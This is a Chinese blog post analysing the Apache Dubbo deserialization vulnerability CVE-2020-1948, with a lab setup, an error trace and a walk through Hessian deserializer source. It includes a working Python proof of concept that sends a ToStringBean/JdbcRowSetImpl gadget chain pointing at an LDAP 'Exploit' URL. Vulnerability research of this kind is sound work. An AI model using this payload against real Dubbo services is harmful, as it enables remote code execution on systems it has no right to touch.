[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析，从零基础到精通，收藏这篇就够了！

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于 2025-07-15 10:32:24 发布

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[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

简介

Dubbo 是一款高性能、轻量级的开源 Java RPC 框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。

POC

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

影响版本

Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)

环境搭建

https://github.com/apache/dubbo-spring-boot-project

下载 2.7.6 版本，用 IDEA 打开 dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加：

        `<dependency>                  <groupId>com.rometools</groupId>                  <artifactId>rome</artifactId>                  <version>1.7.0</version>          </dependency>`

maven 开始运行 springboot。

漏洞分析

python 的 poc

`# -*- coding: utf-8 -*- #pip3 install dubbo-py from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object(       'com.sun.rowset.JdbcRowSetImpl',       dataSource="ldap://127.0.0.1:8087/Exploit",       strMatchColumns=["foo"]       ) JdbcRowSetImplClass=new_object(       'java.lang.Class',       name="com.sun.rowset.JdbcRowSetImpl",       ) toStringBean=new_object(       'com.rometools.rome.feed.impl.ToStringBean',       beanClass=JdbcRowSetImplClass,       obj=JdbcRowSetImpl       ) resp = client.send_request_and_return_response(     service_name='cn.rui0',     method_name='rce',     args=[toStringBean])`

发送 poc

`org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}] 	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6] 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121] 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121] 	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]`

根据报错，其实已经把触发的地方暴露了。

从at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]开始跟。

跟到org\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java139 行，遇到 in 是 input 的内容，看下这个 readobject 是怎么写的。

public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

mH2i.readObject(cls)继续 readobject，mH2i的内容是

    `public Object readObject(Class cl)             throws IOException {         return readObject(cl, null, null);     }     @Override     public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {         if (expectedClass == null || expectedClass == Object.class)             return readObject();         int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();         switch (tag) {             case 'N':                 return null;             case 'H': {                 Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);                 boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;                 // fix deserialize of short type                 return reader.readMap(this                         , keyValuePair ? expectedTypes[0] : null                         , keyValuePair ? expectedTypes[1] : null);             }             case 'M': {                 String type = readType();                 // hessian/3bb3                 if ("".equals(type)) {                     Deserializer reader;                     reader = findSerializerFactory().getDeserializer(expectedClass);                     return reader.readMap(this);                 } else {                     Deserializer reader;                     reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);                     return reader.readMap(this);                 }             }             case 'C': {                 readObjectDefinition(expectedClass);                 return readObject(expectedClass);             }             case 0x60:             case 0x61:             case 0x62:             case 0x63:             case 0x64:             case 0x65:             case 0x66:             case 0x67:             case 0x68:             case 0x69:             case 0x6a:             case 0x6b:             case 0x6c:             case 0x6d:             case 0x6e:             case 0x6f: {                 int ref = tag - 0x60;                 int size = _classDefs.size();                 if (ref < 0 || size <= ref)                     throw new HessianProtocolException("'" + ref + "' is an unknown class definition");                 ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);                 return readObjectInstance(expectedClass, def);             }             case 'O': {                 int ref = readInt();                 int size = _classDefs.size();                 if (ref < 0 || size <= ref)                     throw new HessianProtocolException("'" + ref + "' is an unknown class definition");                 ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);                 return readObjectInstance(expectedClass, def);             }             case BC_LIST_VARIABLE: {                 String type = readType();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(type, expectedClass);                 Object v = reader.readList(this, -1);                 return v;             }             case BC_LIST_FIXED: {                 String type = readType();                 int length = readInt();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(type, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case 0x70:             case 0x71:             case 0x72:             case 0x73:             case 0x74:             case 0x75:             case 0x76:             case 0x77: {                 int length = tag - 0x70;                 String type = readType();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_LIST_VARIABLE_UNTYPED: {                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_LIST_FIXED_UNTYPED: {                 int length = readInt();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case 0x78:             case 0x79:             case 0x7a:             case 0x7b:             case 0x7c:             case 0x7d:             case 0x7e:             case 0x7f: {                 int length = tag - 0x78;                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_REF: {                 int ref = readInt();                 return _refs.get(ref);             }         }         if (tag >= 0)             _offset--;         // hessian/3b2i vs hessian/3406         // return readObject();         Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);         return value;     }`

来到com\alibaba\com\caucho\hessian\io\Hessian2Input.java 可以看到 class com.rometools.rome.feed.impl.ToStringBean 就是期望类 expectedClass（可以看下 fastjson 期望类），

第二次循环到class java.lang.Class，跟到com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

    `public Object readObject(AbstractHessianInput in, String[] fieldNames)             throws IOException {         int ref = in.addRef(null);         String name = null;         for (int i = 0; i < fieldNames.length; i++) {             if ("name".equals(fieldNames[i]))                 name = in.readString();             else                 in.readObject();         }         Object value = create(name);         in.setRef(ref, value);         return value;     }`

第三次 com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

dubbo rpc原理

根本原因我们来学习一下 dubbo RPC 的原理。可以参考这篇文章： https://www.jianshu.com/p/93c00a391e09和https://blog.youkuaiyun.com/zhuqiuhui/article/details/89463642

dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如：dubbo 协议的 dubbo， hessian2，java，compactedjava，rmi 协议缺省为 java，以及 http 协议的 json 等。

dubbo 序列化：阿里尚未开发成熟的高效 java 序列化实现，阿里不建议在生产环境使用它
hessian2 序列化：hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化，而是阿里修改过的 hessian lite，它是 dubbo RPC 默认启用的序列化方式
json 序列化：目前有两种实现，一种是采用的阿里的 fastjson 库，另一种是采用 dubbo 中自己实现的简单 json 库，但其实现都不是特别成熟，而且 json 这种文本序列化性能一般不如上面两种二进制序列化。
java 序列化：主要是采用 JDK 自带的 Java 序列化实现，性能很不理想。

这四种主要序列化方式的性能从上到下依次递减。对于 dubbo RPC 这种追求高性能的远程调用方式来说，实际上只有 1、2 两种高效序列化方式比较般配，而第 1 个 dubbo 序列化由于还不成熟，所以实际只剩下 2 可用，所以 dubbo RPC 默认采用 hessian2 序列化。

但 hessian 是一个比较老的序列化实现了，而且它是跨语言的，所以不是单独针对 java 进行优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用，其实没有必要采用跨语言的序列化方式（当然肯定也不排斥跨语言的序列化）。

本文使用 mdnice 排版

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